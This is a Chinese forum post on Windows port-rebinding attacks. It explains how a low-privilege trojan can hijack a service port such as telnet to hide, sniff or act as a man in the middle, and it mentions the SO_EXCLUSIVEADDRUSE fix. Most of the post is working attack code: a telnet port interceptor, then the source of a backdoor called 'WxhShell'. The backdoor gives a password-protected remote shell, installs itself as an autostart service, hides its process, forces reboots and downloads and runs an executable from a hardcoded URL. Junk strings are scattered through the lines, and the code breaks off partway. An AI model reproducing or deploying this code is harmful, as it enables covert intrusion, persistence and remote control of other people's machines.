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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z"QtP[_m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c,)]!{c  
2$t%2>1>@  
  saddr.sin_family = AF_INET; Gi@c`lRd1  
Jwj=a1I 53  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3gJZlH5IR  
bV'r9&[_6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tfm3IX  
2g_mQT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 74 )G.!  
Tu}EAr  
  这意味着什么?意味着可以进行如下的攻击: =\)zb'\=d  
};P=|t(r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e~'z;% O~  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <RC%<  
rhaq!s38:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P&[&Dj  
)ryP K"V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C}jrx^u>  
'T qF}a7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xnh&Kyz`v  
-jrAk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }$uwAevP{y  
`0_ Y| 4KB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >mMfZvxl%  
Vom,^`}  
  #include #< :`:@2  
  #include >X:!Y[N  
  #include K]yWpW  
  #include    ",Mrdxn7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9FNsW$b?  
  int main() =;I+: K  
  { #bG6+"g{=L  
  WORD wVersionRequested; {0/2Hw n  
  DWORD ret; 8gt*`]I  
  WSADATA wsaData; Bzt:9hr6BO  
  BOOL val; N. nGez  
  SOCKADDR_IN saddr;  ZpBP#Y*  
  SOCKADDR_IN scaddr; NN+;I^NqW&  
  int err; }[@Q**j(  
  SOCKET s; W 9}xfy09  
  SOCKET sc; cud9oJ-=;  
  int caddsize; 7D 3-/_v  
  HANDLE mt; >/}p{Tj  
  DWORD tid;   s!MD8i a  
  wVersionRequested = MAKEWORD( 2, 2 ); kj4=Q\Rfm  
  err = WSAStartup( wVersionRequested, &wsaData ); 5X5UUdTM  
  if ( err != 0 ) { @y * TVy  
  printf("error!WSAStartup failed!\n"); rHOhi|+  
  return -1; AkO);4A;Jd  
  } '<ZHzDW@  
  saddr.sin_family = AF_INET; SH8zkAA7u}  
   '+g[n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [[N${C  
%" l;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gp)J[8j  
  saddr.sin_port = htons(23); lt2MB#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xA-?pLt "G  
  { i!RYrae  
  printf("error!socket failed!\n"); GGhk`z  
  return -1; S^EAE]  
  } ` ` Yk  
  val = TRUE; {%y|A{}c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $[7/~I>m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >mEfd=p  
  { w?N>3`Jnf  
  printf("error!setsockopt failed!\n"); ,PJC FQMR  
  return -1; )4:]gx#cr  
  } <1* \ ~CX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R4k+.hR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q uw|KL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Vwjic2lGI  
KPjAk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /PR 4ILed  
  { oj'YDQ^uj  
  ret=GetLastError(); VTyj<6Y  
  printf("error!bind failed!\n"); 31e O2|7  
  return -1; ^~bd AO81  
  } A+4Kj~`!  
  listen(s,2); "f~OC<GdYs  
  while(1) s6_i>  
  { b9-3  
  caddsize = sizeof(scaddr); iAXGf V  
  //接受连接请求 lHTr7uF(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zh\"sxL  
  if(sc!=INVALID_SOCKET) 9v3n4=gc  
  { t6\--lk_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #mK?:O\-1  
  if(mt==NULL) `GCK%evLG  
  { uf (_<~  
  printf("Thread Creat Failed!\n"); hJk:&!M=T  
  break; q0vZR"y  
  } X*5N&AJ  
  } UVgSO|Tg  
  CloseHandle(mt); R>;&4Sjr  
  } e:.?T\  
  closesocket(s); pm:-E(3#  
  WSACleanup(); aX |(%1r  
  return 0; (FgX9SV]p9  
  }   ZB/1I;l`c  
  DWORD WINAPI ClientThread(LPVOID lpParam) %Lh+W<;  
  { UK,sMKbl1  
  SOCKET ss = (SOCKET)lpParam; XAtRA1.  
  SOCKET sc; =9 ^}>u  
  unsigned char buf[4096]; QF*cdc<  
  SOCKADDR_IN saddr; e#3RT8u#  
  long num; Acd@BL*  
  DWORD val; )ZrB-(u~k  
  DWORD ret; p T z]8[^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fy|I3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m@w469&<(q  
  saddr.sin_family = AF_INET; ]\L+]+u~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^}wF^ _  
  saddr.sin_port = htons(23); V3d$C&<(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sdyNJh7Jr  
  { X6qgApyE  
  printf("error!socket failed!\n"); DUF$-'A  
  return -1; UA ]fKi  
  } ~3f|-%Z  
  val = 100; gOah5*Lj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vx> Q  
  { Ip)u6We>I  
  ret = GetLastError(); K~S*<?  
  return -1; nXI8`7D  
  } H~>8q~o]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9nFWJn  
  { KH=3HN}  
  ret = GetLastError(); $\~cWpv  
  return -1; w1VYU>  
  } "5sA&^_#_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T.-tV[2  
  { zn_#}}e;G  
  printf("error!socket connect failed!\n"); 9$C?)XKXB  
  closesocket(sc); X')l04P@%  
  closesocket(ss); 8Djki]  
  return -1; DQ[7p(  
  } d&f!\n_~  
  while(1) 3?L[ohKH?:  
  { r ) _*MPY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  {d0-.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nLv~)IQ}:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fpeokr"i  
  num = recv(ss,buf,4096,0); de.f?y  
  if(num>0) rX>b R/  
  send(sc,buf,num,0); I|<]>D-8  
  else if(num==0) &rPAW V'v  
  break; 6PS[OB{3  
  num = recv(sc,buf,4096,0); P4eH:0=#  
  if(num>0) FH$q,BI!R  
  send(ss,buf,num,0); NuUiW*|`7  
  else if(num==0) z 1^fG)  
  break; Cg`lQY U  
  } 7l~^KsX  
  closesocket(ss); *,*O.#<6  
  closesocket(sc); ~kSO YvK$'  
  return 0 ; t*A[v  
  } UX<-jY#'V  
NJ-Ji> w  
J2! Q09 }5  
========================================================== iXL^[/}&?M  
>7~*j4g  
下边附上一个代码,,WXhSHELL 4 m"0R\  
zH9*w:"4<_  
========================================================== .cw)Y#;IG  
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#include "stdafx.h" 5;^1Ab0  
{&B_b|g*fW  
#include <stdio.h> iF837ng5  
#include <string.h> op9vz[o#4  
#include <windows.h> OJJ [Er1  
#include <winsock2.h> w%\{4T~  
#include <winsvc.h> DG0I- "s  
#include <urlmon.h> !cM<&3/  
"19#{yX4  
#pragma comment (lib, "Ws2_32.lib") Y Q.Xl_  
#pragma comment (lib, "urlmon.lib") lz36;Fp  
8~s0%%{,M  
#define MAX_USER   100 // 最大客户端连接数 d,Oagx  
#define BUF_SOCK   200 // sock buffer \@N~{72:k  
#define KEY_BUFF   255 // 输入 buffer g7*Uuh#  
A*81}P_  
#define REBOOT     0   // 重启 @o^$/AE?  
#define SHUTDOWN   1   // 关机 n]D io  
P3Lsfi.  
#define DEF_PORT   5000 // 监听端口 CV\y60n  
vTK8t:JQ~  
#define REG_LEN     16   // 注册表键长度 \b8#xT}  
#define SVC_LEN     80   // NT服务名长度 V@b7$z  
H^@Hco>|  
// 从dll定义API H-v[ShE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Q &']  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7wPI)]$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nLG)>L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ``$$yS~d};  
j2u'5kJ G  
// wxhshell配置信息 5y\35kT'  
struct WSCFG { 7Hgn/b[?b  
  int ws_port;         // 监听端口 rwP)TJh"  
  char ws_passstr[REG_LEN]; // 口令 % -AcA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1IS1P)4_0  
  char ws_regname[REG_LEN]; // 注册表键名 ?b{y#du2a  
  char ws_svcname[REG_LEN]; // 服务名 XM w6b*O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {f)aFGp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kl%[fjI)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wCR! bZ w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ecoI-@CAI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8sc2r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H@$K /  
Q#Zazvk  
}; 8#Z)qQWi_t  
@SiV3k  
// default Wxhshell configuration rr1'| k "  
struct WSCFG wscfg={DEF_PORT, 8]`s&d@GY  
    "xuhuanlingzhe", GIcq|Pe  
    1, z uW4gJ  
    "Wxhshell", HR8YPU5  
    "Wxhshell", I *sT*;U  
            "WxhShell Service", 8Q<Nl=g>'  
    "Wrsky Windows CmdShell Service", R%\3[  
    "Please Input Your Password: ", -Fn/=  
  1, '/9j"mIA9$  
  "http://www.wrsky.com/wxhshell.exe", U:n~S  
  "Wxhshell.exe" CLVT5pj='  
    }; _|0#  
&dmIv[LU  
// 消息定义模块 rOt{bh6r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b+J|yM<`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z _\L@b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $hcv}<$/  
char *msg_ws_ext="\n\rExit."; )V[j~uOU)]  
char *msg_ws_end="\n\rQuit."; r0lI&25w  
char *msg_ws_boot="\n\rReboot..."; SM RKEPwp&  
char *msg_ws_poff="\n\rShutdown..."; )D6 i {I0  
char *msg_ws_down="\n\rSave to "; gWa0x-  
j y5[K.  
char *msg_ws_err="\n\rErr!"; % H"  
char *msg_ws_ok="\n\rOK!"; 5CN=a2&  
C=q&S6/+  
char ExeFile[MAX_PATH]; h'=)dFw7  
int nUser = 0; { >izfG,\  
HANDLE handles[MAX_USER]; \i//Aq  
int OsIsNt; 8w:mL^6x  
mhhc}dS(H  
SERVICE_STATUS       serviceStatus; 8~-TN1H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3))R91I  
Ua 6O~,\  
// 函数声明 OEjX(F3=  
int Install(void); #@`c7SR  
int Uninstall(void); wZ\93W-}  
int DownloadFile(char *sURL, SOCKET wsh); X;6;v]  
int Boot(int flag); #xu1 eX0<  
void HideProc(void); =0Y0o_  
int GetOsVer(void); UR _Ty59  
int Wxhshell(SOCKET wsl); `Kf@<=  
void TalkWithClient(void *cs); 6:B,ir _  
int CmdShell(SOCKET sock); ]J!#"m-]  
int StartFromService(void); {Hl(t$3V`  
int StartWxhshell(LPSTR lpCmdLine); U= f9b]Y  
h~Z &L2V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Q2E1Uu%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1) 2-UT  
V )oXJL  
// 数据结构和表定义 f['lY1#V1  
SERVICE_TABLE_ENTRY DispatchTable[] = 6c-'CW  
{ =lk'[P/p`  
{wscfg.ws_svcname, NTServiceMain}, $A{$$8P  
{NULL, NULL} f:~G)  
}; /N*<Fq7w~  
Tb?XKO,  
// 自我安装 _$@fCo0  
int Install(void) ineSo8| @  
{ 27c0wzq  
  char svExeFile[MAX_PATH]; t!/~_}eDJ  
  HKEY key; kjV>\e  
  strcpy(svExeFile,ExeFile); VgYy7\?p  
fDB. r$|d  
// 如果是win9x系统,修改注册表设为自启动 4C_1wk('  
if(!OsIsNt) { "'Fvt-<^S7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IO8 @u;&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,~Xe#e M  
  RegCloseKey(key); |&WYu,QQ4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]hUOc `k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,z#D[5  
  RegCloseKey(key); C}xfo}i  
  return 0; KP0(w(q  
    } ~b)X:ku  
  } (VN'1a (  
} oz{X"jfu  
else { Ar/P%$Zfq  
rqN+0CT  
// 如果是NT以上系统,安装为系统服务 kDm uj>D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vqf}(/.D  
if (schSCManager!=0) $+4 4US  
{ gE@Pb  
  SC_HANDLE schService = CreateService z$%8'  
  ( FN!?o:|(  
  schSCManager, *lLCH,  
  wscfg.ws_svcname, URm<Ji  
  wscfg.ws_svcdisp, ?_AX;z  
  SERVICE_ALL_ACCESS, 8i73iTg(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z9 ws{8@_  
  SERVICE_AUTO_START, w)vpo/?  
  SERVICE_ERROR_NORMAL, v mkiw1  
  svExeFile, b~>@x{  
  NULL, 1=IOio4U  
  NULL, Hi K+}?I  
  NULL, 2oahQ: }B  
  NULL, Gd\/n*j  
  NULL 8h|}Q_  
  ); sRcd{)|Cq  
  if (schService!=0) jmq^98jB  
  { &glh >9:G  
  CloseServiceHandle(schService); Pz2Q]}(w  
  CloseServiceHandle(schSCManager); ~gZ1*8 s`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [olSgq!3  
  strcat(svExeFile,wscfg.ws_svcname); CXoiA"P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R#~l[S8u^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *: FS/ir  
  RegCloseKey(key); LNk :PD0m  
  return 0; RXAE jzf   
    } Z*q&^/N  
  } @]~.-(IMh  
  CloseServiceHandle(schSCManager); ;rL1[qwk  
} ^u$=<66  
} Z P|k3   
|*zgX]-+;  
return 1; HX| p4-L  
} R-ek O7z  
JiXE{(  
// 自我卸载 P6>C+T1  
int Uninstall(void) qlPIxd  
{ cL4Go,)w  
  HKEY key; S m=ln)G=  
\^y~w~g?  
if(!OsIsNt) { AG vhSd7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vYXhWqL~  
  RegDeleteValue(key,wscfg.ws_regname); t d\gk  
  RegCloseKey(key); 8lqmd1v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W!XBuk-  
  RegDeleteValue(key,wscfg.ws_regname); 3*%+NQIj  
  RegCloseKey(key); RfvvX$  
  return 0; #X*);cn  
  } ^hZ0"c  
} /K!f3o+  
} )eZuG S  
else { *!`&+w  
X{!,j}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R'B_YKHBY  
if (schSCManager!=0) J7{D6@yLS  
{ o+}1M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X~o;jJC  
  if (schService!=0) 'NjeF&#6  
  { &DYC3*)Jih  
  if(DeleteService(schService)!=0) { '*`n"cC:  
  CloseServiceHandle(schService); .,S`VNU  
  CloseServiceHandle(schSCManager); k-^^Ao*@  
  return 0; 16I[z+RG  
  } 9&^5!R8  
  CloseServiceHandle(schService); yCkc3s|DA;  
  } -9+$z|K  
  CloseServiceHandle(schSCManager); a $'U?%  
} XHgW9;M!  
} y[jp)&N`  
0VJHE~Bgi  
return 1; >{Mv+  
} xgNV0;g,  
U5cbO{\ 3I  
// 从指定url下载文件 jb/C\2U4)  
int DownloadFile(char *sURL, SOCKET wsh) /\Xe '&  
{ fYZd:3VdC  
  HRESULT hr; !JDuVqW  
char seps[]= "/"; #H~$^L   
char *token; QRl+7V  
char *file; d?YSVmG  
char myURL[MAX_PATH]; 751Q i  
char myFILE[MAX_PATH]; UL~~J[1r  
HXdo:#xEO  
strcpy(myURL,sURL); /u]#dX5  
  token=strtok(myURL,seps); A`(Cuw-o  
  while(token!=NULL) ]1GyEr:  
  { Jk|DWZ  
    file=token; o(v7&m;  
  token=strtok(NULL,seps); 4UW)XLu6T7  
  } 6=Q6J  
Ax@7RJ||  
GetCurrentDirectory(MAX_PATH,myFILE); c-.F {~  
strcat(myFILE, "\\"); "[z/\l8O  
strcat(myFILE, file); Q-G8Fo%#,E  
  send(wsh,myFILE,strlen(myFILE),0); ~tW<]l7  
send(wsh,"...",3,0); # E8?2]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +W-b3R:1>  
  if(hr==S_OK) jL 3 *m  
return 0; '_K`1&#U  
else _E-{*,7bZS  
return 1; 6b` Jq>v  
6+s&%io4  
} $j(4FyH\  
X9" T(`  
// 系统电源模块 fD_3lbiL(  
int Boot(int flag) rniL+/-uU  
{ TOq xl  
  HANDLE hToken; p!Tac%D+k  
  TOKEN_PRIVILEGES tkp; Ft:_6T%  
yVPFH~1@\  
  if(OsIsNt) { WoSKN7*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }VH2G94Ll  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rdd9JJsVd  
    tkp.PrivilegeCount = 1; =''*'a-P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y<@_d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l:#'i`;   
if(flag==REBOOT) { slr>6o%W`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0}k vuuR  
  return 0; 3_eg'EP.E  
} f e^s`dsG  
else { = K`]cEL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I;$tBgOWq  
  return 0; GV9pet89yu  
} [>j.x2=  
  } bgInIe  
  else { Ia^/^>  
if(flag==REBOOT) { )J[Ady^5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .'-t>(}v  
  return 0; [a^<2V!vMn  
}  1&=2"  
else { r|3u]rt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VWCC(YRU|$  
  return 0; ;gRPTk$X3  
} >u .u#de  
} >Bm>/%2  
$'a]lR  
return 1; +}-cvM/*  
} FklO#+<:  
TUp%Cx  
// win9x进程隐藏模块 ]@}@G[e#[  
void HideProc(void) 7d_"4;K)  
{ sJg3WN  
T Q {8 ee{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f,@~@f X  
  if ( hKernel != NULL ) 4 T/ ~erc  
  { yN#]Q}4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7:.!R^5H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;:)u rI?  
    FreeLibrary(hKernel); 6H|T )  
  } WCI'Kh   
PCKxo;bD  
return; p1ER<_fp  
} o3OJI_ v &  
"KY]2v.  
// 获取操作系统版本 bG)6p05Oa  
int GetOsVer(void) <(~geN  
{ bXHtw} n  
  OSVERSIONINFO winfo; :{xu_"nYr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1<M~ #  
  GetVersionEx(&winfo); 6HVGqx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V5I xZn%  
  return 1; iW? NxP  
  else JQ\o[t  
  return 0; 2 t]=-@  
} @c,=c+-  
@oMl^UYM=  
// 客户端句柄模块 5pE@Ww  
int Wxhshell(SOCKET wsl) Nn5sD3z#  
{ yv5c0G.D  
  SOCKET wsh; {JcMJZ3  
  struct sockaddr_in client; 2|+4xqNJm  
  DWORD myID; kr]_?B(r  
YdAC<,e&A  
  while(nUser<MAX_USER) fhQ N;7  
{ -]MZP:s  
  int nSize=sizeof(client); O<0-`=W,a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8O^z{Yh7  
  if(wsh==INVALID_SOCKET) return 1; }GGH:v  
r*ry8QA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OgyHX>}bH  
if(handles[nUser]==0) D_I_=0qNd  
  closesocket(wsh); 8GT{vW9  
else 7I6& *I  
  nUser++; pkA(\0E8  
  } tpKQ$) ed  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xx%*85<  
gf|&u4D  
  return 0; 3],[6%w  
} 2FTJxSC  
$D#eD.  
// 关闭 socket )$FwB6^  
void CloseIt(SOCKET wsh) gO! :WD  
{ *wz62p  
closesocket(wsh); #!M;4~Sfx  
nUser--; HG})V PBa  
ExitThread(0); _d3/="=  
} Ml,87fo  
Gh{vExH@5(  
// 客户端请求句柄 2` h  
void TalkWithClient(void *cs) %XWb|-=  
{ " 1$hfs  
p \,PY  
  SOCKET wsh=(SOCKET)cs; ]3yaIlpD1  
  char pwd[SVC_LEN]; / =:X,^"P  
  char cmd[KEY_BUFF]; <F5x}i~(C  
char chr[1]; p4wXsOQ}  
int i,j; +p)kemJ~  
?-P W$p  
  while (nUser < MAX_USER) { kR(hUc1O  
Ha/-v?E  
if(wscfg.ws_passstr) { I=yy I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [,p[%Dza  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z6r_T  
  //ZeroMemory(pwd,KEY_BUFF); t{ScK%S6  
      i=0; HA(G q  
  while(i<SVC_LEN) { ^T/d34A;SP  
i!EN/Bd  
  // 设置超时 ?e!mv}B_  
  fd_set FdRead; 4P}<86xk  
  struct timeval TimeOut; HrQft1~N  
  FD_ZERO(&FdRead); dJd(m&.|N  
  FD_SET(wsh,&FdRead); !BW6l)=L  
  TimeOut.tv_sec=8; veh?oJi@  
  TimeOut.tv_usec=0; Q+'QJ7fw'|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'I roQ M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |\/Y<_)JD  
D>Dch0{H,:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3]}wZY0  
  pwd=chr[0]; 0SLS;s.GX  
  if(chr[0]==0xd || chr[0]==0xa) { t#6@~49  
  pwd=0; oefhJM!y  
  break;  \>*B  
  } k~ZE4^dM  
  i++; [1{uK&$e  
    } V8.o}BWY  
w qLY \  
  // 如果是非法用户,关闭 socket _+hf.[""  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eE/E#W8  
} L<**J\=7M  
1FiFP5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kG>d^K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0R%R2p'wG  
Wq1%  
while(1) { c~a:i=y67  
fQ[ GN}k  
  ZeroMemory(cmd,KEY_BUFF); IMDGinHAy  
jKI0d+U  
      // 自动支持客户端 telnet标准   n2$(MDdL`  
  j=0; !!4` #Z0+#  
  while(j<KEY_BUFF) { fH/J8<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AF}6O(C~  
  cmd[j]=chr[0]; ^%V^\DK  
  if(chr[0]==0xa || chr[0]==0xd) { <g|\]\C|  
  cmd[j]=0; VnB"0 "%w  
  break; P<@V  
  } 7]w]i5  
  j++; "[ 091<  
    } JC6Bs`=s~  
IOx9".  
  // 下载文件 6ZCSCBW  
  if(strstr(cmd,"http://")) { ySLa4DQf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [h>RO55e  
  if(DownloadFile(cmd,wsh)) XUrxnJ4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k<098F  
  else I'M,p<B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1GBQH$Ms  
  } 1I*b7t  
  else { U&uop$/Cq  
U=4tJb  
    switch(cmd[0]) { *-gd k9  
  M~Tx 4_t  
  // 帮助 b'Scoa7@'  
  case '?': { t7"vAjZU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z9MT, "  
    break; 06FBI?;|=  
  } MY]Z@  
  // 安装 u dhj$:t  
  case 'i': { Ka|WT|1  
    if(Install()) Gm 0&y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); biy1!r  
    else DdY89R 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zA G#{  
    break; e_Ue9c.}  
    } dD Qx[  
  // 卸载 @ j/UDM  
  case 'r': { $wgHaSni  
    if(Uninstall()) /1F5khN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dWhki|c  
    else K'6dlwn).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oDtgB O<  
    break; %|&WcpQR  
    } j:)"s_  
  // 显示 wxhshell 所在路径 .DzFt c  
  case 'p': { W+v7OSd92  
    char svExeFile[MAX_PATH]; IkzY   
    strcpy(svExeFile,"\n\r"); ^W&qTSjh  
      strcat(svExeFile,ExeFile); F|,_k%QP  
        send(wsh,svExeFile,strlen(svExeFile),0); G4=R4'hC  
    break; hG~TqH^} B  
    } S?ypka"L  
  // 重启 oCw>b]S  
  case 'b': { #GTR}|Aga  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x4$#x70?  
    if(Boot(REBOOT)) fwe4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {h< V^r  
    else { T*AXS|=ju  
    closesocket(wsh); *] H8X=[x  
    ExitThread(0); ZCP r`H  
    } p_^Jr*Mv  
    break; 5G >{*K/  
    } |ia#Elavo  
  // 关机 C`4m#  
  case 'd': { PV[ Bqt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >S<`ri'5_  
    if(Boot(SHUTDOWN)) 8dgi"/[3  
